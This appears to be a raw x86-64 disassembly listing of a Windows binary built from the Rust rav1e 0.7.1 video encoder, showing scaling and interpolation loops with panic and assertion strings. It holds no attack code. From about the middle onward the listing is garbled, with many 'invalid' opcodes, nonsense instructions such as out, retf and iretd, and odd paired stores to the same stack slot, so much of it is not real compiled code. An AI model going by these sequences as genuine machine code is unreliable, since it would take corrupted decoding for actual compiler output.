ja 0x1400804a4
mov rax, qword [rbx + 0x28]
mov qword [rsp + 0xb8], rax
mov rax, qword [rbx + 8]
mov qword [rsp + 0xc0], rax
mov rdi, qword [rbx + 0x20]
mov eax, 6
mov rcx, qword [rsp + 0x78]
sub rax, rcx
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0xa8]
dec rax
shl rax, cl
mov rbx, rax
lea r12, [rax + r8]
mov qword [rsp + 0xb0], r8
lea rax, [r8 + 1]
mov qword [rsp + 0x70], rax
xor edx, edx
xor r15d, r15d
mov rsi, qword [rsp + 0x58]
cmp r15, qword [rsp + 0x60]
je 0x1400805fe
cmp r15, qword [rsp + 0xb8]
je 0x1400808de
inc r15
mov qword [rsp + 0xa8], r15
imul r15, qword [rsp + 0xc8]
mov r13, r15
mov rcx, qword [rsp + 0xd8]
shr r13, cl
mov rcx, qword [rsp + 0x78]
shl r15d, cl
shr r15d, 1
and r15d, 0x1f
mov eax, 0x20
sub eax, r15d
mov dword [rsp + 0x68], eax
mov rax, qword [rsp + 0xd0]
mov r14, qword [rax]
mov qword [rsp + 0x98], rdx
imul r14, rdx
add r14, qword [rsp + 0xc0]
xor ebp, ebp
cmp qword [rsp + 0x88], rbp
je 0x1400800c5
mov rax, rbp
mov rcx, qword [rsp + 0x78]
shl rax, cl
add rax, r13
cmp rax, rbx
jae 0x14008008d
mov rcx, qword [rsp + 0xb0]
add rcx, rax
mov rdx, rsi
cmp rcx, rsi
jae 0x140080656
add rax, qword [rsp + 0x70]
cmp rax, rdx
jae 0x140080662
mov rdx, qword [rsp + 0x80]
movzx ecx, word [rdx + rcx*2]
imul ecx, dword [rsp + 0x68]
movzx eax, word [rdx + rax*2]
imul eax, r15d
add ecx, eax
add ecx, 0x10
shr ecx, 5
jmp 0x1400800a3
cmp r12, rsi
jae 0x14008064a
mov rax, qword [rsp + 0x80]
movzx ecx, word [rax + r12*2]
mov edx, dword [rsp + 0x90]
call fcn.140071114
cmp rdi, rbp
je 0x14008063b
mov word [r14 + rbp*2], ax
inc rbp
jmp 0x140080024
mov rdx, qword [rsp + 0x98]
add rdx, 2
mov r15, qword [rsp + 0xa8]
jmp 0x14007ffad
xor eax, eax
mov qword [rsp + 0xc8], rax
cmp r13, 0x5a
je 0x140080111
cmp r13, 0xb4
jae 0x140080111
mov ecx, 0xb4
sub rcx, r13
call fcn.140081c7f
mov rdx, qword [rsp + 0x68]
mov qword [rsp + 0xc8], rax
lea rax, [r13 - 0x5b]
cmp rax, 0x59
jae 0x140080612
movzx eax, word [rsp + 0xa6]
mov dword [rsp + 0xe4], eax
xor esi, esi
cmp byte [rsp + 0x98], 0xa
setne sil
add r13, 0xffffffffffffffa6
mov rcx, r13
call fcn.140081c7f
mov rdx, qword [rsp + 0x68]
mov r10, rsi
mov r8, qword [rsp + 0x78]
mov ecx, r8d
shl r10, cl
mov r9, qword [rsp + 0x70]
mov ecx, r9d
shl rsi, cl
mov qword [rsp + 0x140], rsi
mov r11, rax
mov rax, qword [rbx + 0x28]
mov qword [rsp + 0x100], rax
mov rax, qword [rbx + 8]
mov qword [rsp + 0xf8], rax
mov rax, qword [rbx + 0x20]
mov qword [rsp + 0xb8], rax
mov esi, 6
mov ebp, 6
mov rax, 0xffffffffffffffff
mov ecx, r8d
shl rax, cl
mov qword [rsp + 0xa8], rax
sub rbp, r8
mov rax, r10
mov qword [rsp + 0x128], r10
lea rax, [r10 + 1]
mov qword [rsp + 0x130], rax
sub rsi, r9
mov qword [rsp + 0x138], rsi
lea rax, [rdx - 1]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xb0]
add rax, 2
mov qword [rsp + 0x120], rax
mov r14, r11
neg r11
mov qword [rsp + 0xf0], r11
mov r13, qword [rsp + 0xc8]
neg r13
xor r8d, r8d
xor eax, eax
mov qword [rsp + 0xc0], rax
xor r12d, r12d
mov rbx, qword [rsp + 0x88]
cmp r12, qword [rsp + 0x60]
je 0x1400805fe
cmp r12, qword [rsp + 0x100]
je 0x1400808f1
lea rax, [r12 + 1]
mov qword [rsp + 0x108], rax
not r12d
imul r12d, dword [rsp + 0xc8]
mov rcx, qword [rsp + 0x78]
shl r12d, cl
shr r12d, 1
and r12d, 0x1f
mov eax, 0x20
sub eax, r12d
mov dword [rsp + 0xd8], eax
mov rax, qword [rsp + 0xd0]
mov r15, qword [rax]
mov qword [rsp + 0x110], r8
imul r15, r8
add r15, qword [rsp + 0xf8]
mov qword [rsp + 0x118], r13
mov rsi, qword [rsp + 0xf0]
xor edi, edi
cmp rbx, rdi
je 0x140080472
mov rax, r13
mov ecx, ebp
sar rax, cl
cmp rax, qword [rsp + 0xa8]
jge 0x14008031f
mov rax, qword [rsp + 0xc0]
add rax, rsi
mov rcx, qword [rsp + 0x138]
sar rax, cl
mov r9d, esi
mov rcx, qword [rsp + 0x70]
shl r9d, cl
mov rcx, qword [rsp + 0x140]
add rcx, rax
cmp byte [rsp + 0x98], 0xa
jne 0x1400803ad
test rax, rax
jns 0x1400803ad
mov eax, dword [rsp + 0xe4]
cmp rcx, 0xfffffffffffffffe
je 0x1400803c7
jmp 0x1400803fb
cmp byte [rsp + 0x98], 0xa
jne 0x140080336
movzx ecx, word [rsp + 0xa6]
test rax, rax
js 0x140080358
mov rcx, qword [rsp + 0x128]
add rcx, rax
cmp rcx, qword [rsp + 0x58]
jae 0x14008078f
mov rdx, qword [rsp + 0x80]
movzx ecx, word [rdx + rcx*2]
add rax, qword [rsp + 0x130]
cmp rax, qword [rsp + 0x58]
jae 0x140080706
movzx ecx, cx
imul ecx, dword [rsp + 0xd8]
mov rdx, qword [rsp + 0x80]
movzx eax, word [rdx + rax*2]
imul eax, r12d
add ecx, eax
add ecx, 0x10
shr ecx, 5
mov edx, dword [rsp + 0x90]
call fcn.140071114
cmp rdi, qword [rsp + 0xb8]
jb 0x140080459
jmp 0x140080715
cmp rcx, 0xfffffffffffffffe
jne 0x1400803da
test rdx, rdx
je 0x140080820
mov rax, qword [rsp + 0xb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x120]
cmp rdx, 1
ja 0x14008041b
jmp 0x1400807ac
mov rax, qword [rsp + 0xe8]
sub rax, rcx
cmp rax, rdx
jae 0x140080811
mov r8, qword [rsp + 0xb0]
movzx eax, word [r8 + rax*2]
not rcx
add rcx, qword [rsp + 0xe8]
cmp rcx, rdx
jae 0x1400807a0
mov rdx, qword [rsp + 0xb0]
lea rcx, [rdx + rcx*2]
shr r9d, 1
and r9d, 0x1f
movzx ecx, word [rcx]
mov r8d, 0x20
sub r8d, r9d
imul r8d, eax
imul ecx, r9d
add ecx, r8d
add ecx, 0x10
shr ecx, 5
mov edx, dword [rsp + 0x90]
call fcn.140071114
cmp rdi, qword [rsp + 0xb8]
jae 0x14008071e
mov word [r15 + rdi*2], ax
sub rsi, r14
add r13, 0x40
inc rdi
mov rdx, qword [rsp + 0x68]
jmp 0x1400802ab
add qword [rsp + 0xc0], 0x40
mov r8, qword [rsp + 0x110]
add r8, 2
mov r13, qword [rsp + 0x118]
sub r13, qword [rsp + 0xc8]
mov r12, qword [rsp + 0x108]
jmp 0x14008022a
test al, al
mov rax, qword [rsp + 0x60]
je 0x1400805fe
mov rcx, qword [rbx + 0x28]
mov qword [rsp + 0x78], rcx
mov rcx, qword [rbx + 8]
mov qword [rsp + 0xa8], rcx
mov rbx, qword [rbx + 0x20]
mov r14d, 6
sub r14, qword [rsp + 0x70]
lea r13, [rdx - 1]
xor r8d, r8d
xor r15d, r15d
cmp r15, rax
je 0x1400805fe
cmp r15, qword [rsp + 0x78]
je 0x140080901
lea rax, [r15 + 1]
mov qword [rsp + 0x58], rax
add r15, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x70]
shl r15, cl
mov rax, qword [rsp + 0xd0]
mov rsi, qword [rax]
mov qword [rsp + 0x80], r8
imul rsi, r8
add rsi, qword [rsp + 0xa8]
mov rdi, r12
xor ebp, ebp
cmp qword [rsp + 0x88], rbp
je 0x1400805e3
mov rax, rdi
mov ecx, r14d
shr rax, cl
mov r9d, edi
mov rcx, qword [rsp + 0x70]
shl r9d, cl
add rax, r15
mov r8, r13
sub r8, rax
mov ecx, 0
cmovae rcx, r8
cmp rcx, rdx
jae 0x140080674
inc rax
mov r8, r13
sub r8, rax
mov eax, 0
cmovae rax, r8
cmp rax, rdx
jae 0x140080680
shr r9d, 1
and r9d, 0x1f
mov rdx, qword [rsp + 0xb0]
movzx ecx, word [rdx + rcx*2]
movzx eax, word [rdx + rax*2]
mov r8d, 0x20
sub r8d, r9d
imul r8d, ecx
imul eax, r9d
lea ecx, [r8 + rax]
add ecx, 0x10
shr ecx, 5
mov edx, dword [rsp + 0x90]
call fcn.140071114
cmp rbx, rbp
je 0x14008068c
mov word [rsi + rbp*2], ax
add rdi, r12
inc rbp
mov rdx, qword [rsp + 0x68]
jmp 0x140080530
mov r8, qword [rsp + 0x80]
add r8, 2
mov r15, qword [rsp + 0x58]
mov rax, qword [rsp + 0x60]
jmp 0x1400804df
add rsp, 0x568
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp r13, 0xb4
jbe 0x14007ff20
mov ecx, 0x10e
sub rcx, r13
call fcn.140081c7f
mov rdx, qword [rsp + 0x68]
mov r12, rax
mov al, 1
jmp 0x14007ff25
lea r8, [0x140248a48]
mov rcx, rdi
jmp 0x1400807d6
lea r8, [0x140248a00]
mov rcx, r12
jmp 0x14008066c
lea r8, [0x140248a18]
call fcn.1401c6eb0
lea r8, [0x140248a30]
mov rcx, rax
mov rdx, rsi
call fcn.1401c6eb0
lea r8, [0x1402488c8]
call fcn.1401c6eb0
lea r8, [0x1402488e0]
jmp 0x140080818
lea r8, [0x1402488f8]
jmp 0x14008073c
lea r8, [0x140247eb8]
jmp 0x1400807d6
lea r8, [0x140247ed0]
mov rcx, r10
mov rdx, r10
call fcn.1401c6eb0
lea r8, [0x140248588]
mov rcx, qword [rsp + 0x58]
jmp 0x1400806fe
lea r8, [0x140248468]
mov rcx, r9
jmp 0x1400807d6
lea r8, [0x140248480]
jmp 0x140080769
lea r8, [0x1402485a0]
mov rcx, r9
call fcn.1401c6eb0
lea r8, [0x140248498]
jmp 0x1400806fe
lea r8, [0x1402485b8]
mov rdx, rcx
call fcn.1401c6eb0
lea r8, [0x1402489b8]
mov rcx, rax
jmp 0x140080796
lea r8, [0x1402489d0]
jmp 0x140080725
lea r8, [0x140248988]
mov rcx, rdi
mov rdx, qword [rsp + 0xb8]
call fcn.1401c6eb0
lea r8, [0x1402482f0]
mov rcx, rbx
mov rdx, rbx
call fcn.1401c6eb0
lea r8, [0x140248308]
mov rcx, r10
jmp 0x1400807d6
lea r8, [0x140248320]
mov rcx, r9
jmp 0x1400807c4
lea r8, [0x140248338]
mov rcx, rdx
call fcn.1401c6eb0
lea r8, [0x140248350]
mov rcx, r11
mov rdx, r11
call fcn.1401c6eb0
lea r8, [0x140247f18]
jmp 0x140080818
lea r8, [0x1402489a0]
mov rdx, qword [rsp + 0x58]
call fcn.1401c6eb0
lea r8, [0x140248970]
call fcn.1401c6eb0
lea r8, [0x140248958]
mov ecx, 1
call fcn.1401c6eb0
lea r8, [0x140248a60]
mov rdx, r12
call fcn.1401c6eb0
lea r8, [0x140248a78]
mov rcx, rdx
mov rdx, rdi
call fcn.1401c6eb0
lea r8, [0x14025e3b0]
mov rcx, r14
mov rdx, r14
call fcn.1401c6eb0
lea r8, [0x14025e3c8]
mov rcx, rbx
call fcn.1401c6eb0
lea r8, [0x140247f00]
jmp 0x140080818
lea r8, [0x140247ee8]
jmp 0x140080818
lea r8, [0x140248940]
mov rcx, rax
call fcn.1401c6eb0
lea r8, [0x140248928]
xor ecx, ecx
xor edx, edx
call fcn.1401c6eb0
lea r8, [0x1402487d8]
jmp 0x140080827
lea r8, [0x140248850]
jmp 0x140080827
lea r8, [0x140248868]
jmp 0x140080827
lea r8, [0x1402484f8]
call fcn.1401c6eb0
lea r8, [0x1402481d0]
jmp 0x140080827
lea r8, [0x1402481e8]
mov rcx, r14
call fcn.1401c6eb0
lea r8, [0x140248260]
jmp 0x1400807c4
lea rcx, [0x14023c72b]
lea r8, [0x1402489e8]
jmp 0x140080979
lea rcx, [0x14023c72b]
lea r8, [0x140248910]
jmp 0x140080979
lea rcx, [0x14023c72b]
lea r8, [0x1402488b0]
jmp 0x140080979
lea rcx, [0x14023c72b]
lea r8, [0x140247ea0]
jmp 0x140080979
lea rcx, [0x14023c72b]
lea r8, [0x140248450]
jmp 0x140080979
lea rcx, [0x14023c72b]
lea r8, [0x140248570]
jmp 0x140080979
lea rcx, [0x14023c72b]
lea r8, [0x1402482d8]
mov edx, 0x2a
call fcn.1401c6f30
lea rax, [0x140248880]
jmp 0x140080993
lea rax, [0x140248898]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140009390
lea r8, [rsp + 0x148]
mov edx, 0x2b
call fcn.1401c7200
lea rcx, str.assertion_failed:__scale___sm_weights_width___1__as_u16____scale
lea r8, [0x140248438]
mov edx, 0x40
call fcn.1401c6f30
lea rcx, str.assertion_failed:__scale___sm_weights_height___1__as_u16____scale
lea r8, [0x140248558]
mov edx, 0x41
call fcn.1401c6f30
lea rcx, str.assertion_failed:__scale___sm_weights_w_width___1__as_u16____scale
lea r8, [0x140248248]
mov edx, 0x42
call fcn.1401c6f30
lea rcx, str.assertion_failed:__scale___sm_weights_h_height___1__as_u16____scale
lea r8, [0x1402482c0]
mov edx, 0x43
call fcn.1401c6f30
lea r8, [0x140248ad8]
mov rdx, rdi
call fcn.1401c6f20
int3
mov ebp, r9d
mov rax, rcx
mov eax, ecx
mov r15, qword [rsp + 0x100]
add byte [rcx], al
add byte [rax], al
mov rcx, qword [rcx]
mov r9, qword [rcx]
mov rcx, r9
leave
mov qword [rsp + 0x48], r9
mov dword [rsp + 0x48], ecx
and al, 0x48
cmp r9, r15
stc
jb 0x140081787
invalid
lahf
add dword [rax], eax
add byte [rax], al
invalid
mov r12, qword [rsp + 0x108]
mov r9, qword [rax + 0x28]
mov ecx, dword [rax + 0x28]
sub byte [rbp + 0x39], cl
loope case.0x140039166.494
jb 0x14008179f
invalid
add dword [rax], eax
invalid
mov rcx, qword [rsp + 0x110]
mov edi, 0xffffffff
invalid
invalid
call rbx
out 0x4d, eax
test ecx, ecx
je 0x1400817b7
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov qword [rsp + 0x50], rcx
push rax
test rcx, rcx
je 0x140081763
cmp al, 1
add byte [rax], al
invalid
mov qword [rsp + 0x38], r9
not edi
mov rax, qword [rax + 8]
mov qword [rsp + 0x30], rax
xor byte [rdi], cl
mov bh, 0x30
lea rax, [0x140248790]
mov qword [rsp + 0x20], rax
lea r13, [rsp + 0x70]
mov rcx, r13
mov r9, r15
call fcn.1400817d0
mov r14, qword [r13]
mov rcx, qword [r13 + 8]
mov rax, qword [r13 + 0x20]
movsx ebx, bp
mov qword [rsp + 0x28], rax
add rax, rax
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
sub r12, 1
mov rax, qword [rsp + 0x38]
jb 0x14008174f
add byte [rax], al
invalid
sub rax, 1
jb 0x14008174f
sub rcx, qword [rsp + 0x28]
jb 0x14008174f
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x68], r12
and al, 0x68
mov rcx, r15
mov ecx, edi
mov r12, qword [rsp + 0x30]
mov rdx, r12
mov r8, qword [rsp + 0x50]
lea r9, [0x1402487a8]
call fcn.140081837
cmp qword [rsp + 0x28], r15
jb 0x140081773
invalid
cmpsd dword [rsi], dword [rdi]
add byte [rax], al
invalid
mov r13, rax
mov rbp, rdx
mov rax, qword [rsp + 0x48]
mov eax, dword [rsp + 0x48]
lea r12, [r12 + rax*2]
and al, 0x44
mov qword [rsp + 0x30], r12
mov rax, qword [rsp + 0x40]
and al, 0x40
add rax, r14
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
and al, 0x58
cmp rdx, r15
cli
cmovae rbp, r15
xor r12d, r12d
cmp rbp, r12
je 0x140081733
lea r15, [r12 + 1]
movsx eax, word [r14 + r12*2]
imul ax, bx
mov edx, eax
neg edx
cmovs edx, eax
rol byte [rbx - 0x153edf3e], 1
invalid
mov ecx, edx
neg ecx
test eax, eax
ror byte [rdi], 0x49
retf 0xf101
mov edx, edi
call fcn.140071114
mov word [r13 + r12*2], ax
add byte gs:[rbp - 0x77], cl
cld
jmp 0x1400816f7
invalid
mov r14, qword [rsp + 0x58]
mov r15, qword [rsp + 0x100]
mov r12, qword [rsp + 0x68]
mov esp, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
and al, 0x60
jmp 0x140081672
invalid
invalid
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, [0x140248778]
xor ecx, ecx
xor edx, edx
call fcn.1401c6eb0
lea r8, [0x1402487c0]
mov rcx, r15
mov rdx, qword [rsp + 0x28]
call fcn.1401c6f20
lea rcx, str.assertion_failed:_output.plane_cfg.stride___width
lea r8, [0x1402486f8]
mov edx, 0x32
call fcn.1401c6f30
lea rcx, str.assertion_failed:_output.rows_iter__.len_____height
lea r8, [0x140248748]
mov edx, 0x34
call fcn.1401c6f30
lea rcx, [0x14023c72b]
lea r8, [0x140248760]
mov edx, 0x2a
call fcn.1401c6f30
adc al, 0
int3
mov rax, qword [rcx]
mov rdx, qword [rcx + 8]
push rcx
or byte [rax - 0x73], cl
adc al, 0x50
mov qword [rcx], rdx
adc dword [rax - 0x75], ecx
mov edx, dword [rcx + 0x10]
dec r8
dec eax
mov qword [rcx + 0x18], r8
ret
add rax, rax
mov rdx, r8
mov r8, rax
ror byte [rax - 0x7d], 0xc4
sub cl, ch
hlt
adc al, 0
mov r8, qword [rsp + 0x50]
mov rcx, rax
mov rdx, r9
retf 0x83e8
pop rbx
adc al, 0
int3
cmp rcx, r8
je case.0x140042142.299
and word [rax + r8], 0
add r8, 2
add eax, 2
jmp case.0x140040456.325
out dx, eax
ret
cmp rcx, r14
jae case.0x1400473d4.214
lea r11, [rcx + 1]
xor r12d, r12d
mov r13, rcx
xor ebp, ebp
mov rax, r13
sub rax, 2
call 0x182176322
ror dword [rcx - 0x7d], 0xfc
invalid
je 0x140081a4a
invalid
cmp rax, rdx
cmovae rax, rdx
cmovae eax, edx
ret 0x3948
invalid
jae case.0x1400474a4.195
lea rbx, [r8 + r12*4]
inc r12
movzx eax, word [rdi + rax*2]
mov bh, 4
imul eax, dword [r10 + rbx]
imul eax, dword [rdx + rbx]
add al, 0x1a
add ebp, eax
inc r13
invalid
jmp 0x140081a16
cmp rcx, qword [rsp + 0x28]
jae case.0x140047a7d.195
add ebp, 8
shr ebp, 4
mov word [r15 + rcx*2], bp
mov rcx, r11
mov ecx, ebx
jmp 0x140081a05
lea rax, [0x140247f60]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov rcx, rdi
mov rdx, rsi
mov edx, esi
mov r8, r15
mov r9, qword [rsp + 0x28]
mov ecx, dword [rsp + 0x28]
and al, 0x28
call fcn.14008188f
invalid
invalid
invalid
nop
add rsp, 0x238
add al, byte [rax]
add byte [rbx + 0x5d], bl
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop rsi
pop r15
ret
lea r8, [0x140247fe8]
mov rcx, rax
mov rdx, rsi
bnd call fcn.1401c6eb0
lea r8, [0x140247f78]
mov rdx, qword [rsp + 0x28]
and al, 0x28
sub al, ch
clc
push rbx
adc al, 0
add ah, cl
lea rdx, [rcx - 0x24]
cmp rdx, 9
cli
or dword [rdi], ecx
jbe case.0x14007f1f8.17
lea rdx, [rcx - 0x3a]
cmp rdx, 9
cmp edx, 9
cli
or dword [rdi], ecx
jbe 0x140081d73
add byte [rax], al
invalid
cmp rcx, 0x57
je 0x140081e0d
add byte [rax], al
cmp rcx, 6
je 0x140081def
xor byte [rcx], al
add byte [rax], al
cmp rcx, 9
je 0x140081dc5
cmp rcx, 0x1a
je 0x140081dcb
clc
add byte [rax], al
invalid
cmp rcx, 0x1d
je 0x140081de9
add byte [rax], al
cmp rcx, 0x20
je 0x140081ddd
cmp rcx, 0x30
je 0x140081e01
adc byte [rcx], al
add dword [rax], eax
invalid
cmp rcx, 0x33
je 0x140081e07
invalid
cmp rcx, 0x36
je 0x140081dfb
add byte [rax], al
invalid
cmp rcx, 0x46
je 0x140081df5
out 0, al
add byte [rax], al
cmp rcx, 0x49
je 0x140081dbf
add byte [rax], al
invalid
cmp rcx, 0x4c
je 0x140081de3
rol byte [rax], 0
add byte [rax], al
cmp rcx, 0x51
je 0x140081dd1
add byte [rax], al
add byte [rax], al
cmp rcx, 0x54
je 0x140081dd7
cmp rcx, 3
jne case.0x140081d6b.1
rol dword [rax], 1
add byte [rax], al
invalid
mov eax, 0x3ff
ret
lea rcx, [0x14028bf28]
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
retf 0xe2ff
jmp rdx
mov eax, 0x5a
ret
lea rcx, [0x14028bf50]
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
add edx, ecx
jmp rdx
mov eax, 0x28
ret
mov eax, 0x40
ret
mov eax, 0x47
ret
mov eax, 0x50
ret
mov eax, 0x1b
ret
mov eax, 0x1f
ret
mov eax, 0x23
ret
mov eax, 0x13
ret
mov eax, 0x174
ret
mov eax, 0x84
ret
mov eax, 0xb
ret
mov eax, 7
ret
mov eax, 0x66
ret
mov eax, 0xf
ret
mov eax, 0x74
ret
mov eax, 0x223
ret
mov eax, 0x17
ret
mov eax, 0x2d
ret
mov eax, 0x39
ret
mov eax, 0x33
ret
mov eax, 3
ret
mov rdx, qword [rsp + 0x58]
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
mov edx, 0x80
call fcn.1401c6eb0
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
mov rcx, rax
invalid
mov rdx, rsi
call fcn.1401c6eb0
adc al, 0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
jmp 0x140082bb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
mov rcx, r14
jmp 0x140082b29
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
jmp 0x140082ba2
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
jmp 0x140082bae
mov rcx, r14
jmp 0x140082b4e
xor ecx, ecx
xor edx, edx
call fcn.1401c6eb0
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
mov edx, 0x2a
call fcn.1401c6f30
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
jmp 0x140082bc5
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcpartition.rsP
lea eax, [0x140248ff0]
jmp 0x140082bc5
cmp cl, 0xc
je 0x1400830b3
mov esi, 0
cmp edx, 0xd
je case.0x1400830c1.0
mov esi, ecx
jmp case.0x1400830c1.0
lea rax, [0x14028bf78]
movsxd rcx, dword [rax + r10*4]
add rcx, rax
jmp rcx
mov sil, 2
jmp case.0x1400830c1.0
mov sil, 1
jmp case.0x1400830c1.0
mov sil, 0xc
jmp case.0x1400830c1.0
mov ecx, esi
call fcn.140080fd8
movzx ecx, bpl
lea ecx, [rcx + rcx*2]
movsx rcx, cl
add rcx, rax
mov qword [rsp + 0xa0], rcx
and al, 0xa0
add byte [rax], al
invalid
mov ecx, r14d
call fcn.140080ff1
mov rbx, rax
mov ecx, r14d
call fcn.14008100c
mov r13, rax
mov ebp, eax
mov rbp, qword [rdi]
mov r12, qword [rdi + 8]
mov rax, qword [rdi + 0x10]
mov qword [rsp + 0x80], rax
mov rax, qword [rdi + 0x18]
mov qword [rsp + 0x68], rax
mov rax, qword [rdi + 0x20]
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x88], eax
mov rax, qword [rdi + 0x28]
mov qword [rsp + 0x60], rax
and al, 0x60
xor eax, eax
mov rcx, r12
sub rcx, r13
cmovb rcx, rax
xor r15d, r15d
lea r9, [0x140248a90]
pop rcx
sbb al, 0
mov rdx, rbp
mov r8, r12
call fcn.14001ca54
mov r14, rax
mov rdi, rdx
xlatb
mov qword [rsp + 0x90], rbx
and al, 0x90
add byte [rax], al
add byte [rcx + rcx*4 + 0x6c], cl
and al, 0x70
lea rdx, [rbx + r13]
mov rcx, r12
mov qword [rsp + 0xa8], rdx
add byte [rax], al
add byte [rax + 0x29], cl
ror dword [rcx + 0xf], 1
iretd
lea r9, [0x140248aa8]
mov rdx, rbp
mov edx, ebp
mov r8, r12
call fcn.14001ca54
mov qword [rsp + 0xb8], rax
movzx eax, sil
lea rcx, [0x14028bf88]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x3c8]
shl eax, cl
mov dword [rsp + 0x98], eax
add byte [rax - 0x7d], cl
jl 0x1400831f0
push 0x6c8b4c00
and al, 0x78
js 0x1400831e3
test byte [rdx + 0x15], dl
add byte [rax], al
mov r12, rdx
mov r15, qword [rsp + 0x3e8]
mov rax, qword [r13]
mov rcx, qword [rax + 0x10]
adc byte [rax - 0x77], cl
mov word [rax + rax*8], fs
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax], al
mov rax, qword [rax + 0x18]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x80]
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rdx + 0x24448800], cl
pop rdi
mov bl, byte [r15 + 0xc]
mov rax, qword [rsp + 0xa8]
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
xor al, 0
lea r8, [0x1402487f0]
lea rcx, [rsp + 0x257]
mov rdx, rsi
call fcn.1400855be
and eax, dword [rax]
add byte [rax - 0x77], cl
mov ecx, eax
call fcn.1400855e3
mov r14, rax
mov rbp, rdx
lea r8, [0x140248808]
lea eax, [0x140248808]
lea rcx, [rsp + 0x150]
mov rdx, rsi
call fcn.1400855be
mov rcx, rax
call fcn.1400855e3
mov qword [rsp + 0x68], rax
mov byte [rsp + 0xb0], bl
mov al, 0
add byte [rax], al
cmp bl, 0xa
je 0x140083354
mov rdi, rdx
mov r8, rbp
dec rbp
mov rax, r15
mov r15, qword [rsp + 0x60]
cmp r15, rbp
out dx, eax
cmovb rbp, r15
mov r15, rax
lea rbx, [rdx - 1]
cmp r12, rbx
cmovb rbx, r12
cmovb ebx, esp
fmul qword [rcx + r9*4 - 0xe]
mov r14d, 1
lea rsi, [rsp + 0x138]
mov qword [rsi], r14
mov qword [rsi + 8], rbp
xor r13d, r13d
mov byte [rsi + 0x10], r13b
lea r9, [0x140248820]
mov rcx, rsi
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0x60], r8
call fcn.1400855f7
invalid
and eax, dword [rax]
add byte [rax - 0x73], cl
or eax, 0x1c5551
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
and byte [rax - 0x77], cl
ror dword [rbx + rcx*4 - 0x7c], 0x24
mov byte [rax], al
add byte [rax], al
mov r9, rbp
call fcn.1401c59a4
mov qword [rsi], r14
mov qword [rsi + 8], rbx
mov byte [rsi + 0x10], r13b
mov r14, qword [rsp + 0x90]
mov r13, qword [rsp + 0xa0]
mov rbx, qword [rsp + 0x68]
pop rsp
and al, 0x68
mov rcx, rsi
call fcn.140081956
test rax, rax
je 0x140083360
mov rcx, r12
sub rcx, rdx
cmp rcx, r12
jae 0x1400846b8
cmp rdx, rdi
jae 0x1400846c7
mov rax, qword [rsp + 0xb8]
mov al, byte [rax + rcx]
mov byte [rbx + rdx], al
jmp 0x14008331f
xor ebp, ebp
xor edi, edi
mov rdx, r12
jmp 0x140083e3d
mov al, byte [r15 + 0xf]
lea rcx, [rsp + 0x138]
mov byte [rcx + 0xf], al
movzx eax, word [r15 + 0xd]
mov word [rcx + 0xd], ax
mov rax, qword [r15]
mov qword [rcx], rax
mov eax, dword [r15 + 8]
mov dword [rcx + 8], eax
mov al, byte [rsp + 0xb0]
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax - 0x5d17f3bf], cl
movabs byte [0xfd8349c389fffeff], al
pop rdx
mov rax, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x60]
je 0x14008349e
add byte [rax], al
cmp r13, 0xb4
je 0x14008349e
test rbp, rbp
je 0x140084734
test byte [rbx + rdx], dh
invalid
mov rcx, qword [rsp + 0x80]
mov dl, byte [rsp + 0x5f]
mov byte [rcx], dl
test rdi, rdi
je 0x14008473d
mov rcx, qword [rsp + 0x68]
mov byte [rcx], dl
mov rcx, qword [rsp + 0xc0]
sub rcx, qword [rax + 0x10]
js 0x14008487d
mov rdx, qword [rsp + 0xd8]
sub rdx, qword [rax + 0x18]
js 0x140084886
add byte [rax], al
cmp r14, rcx
cmovb rcx, r14
mov r12, qword [rsp + 0x70]
and al, 0x70
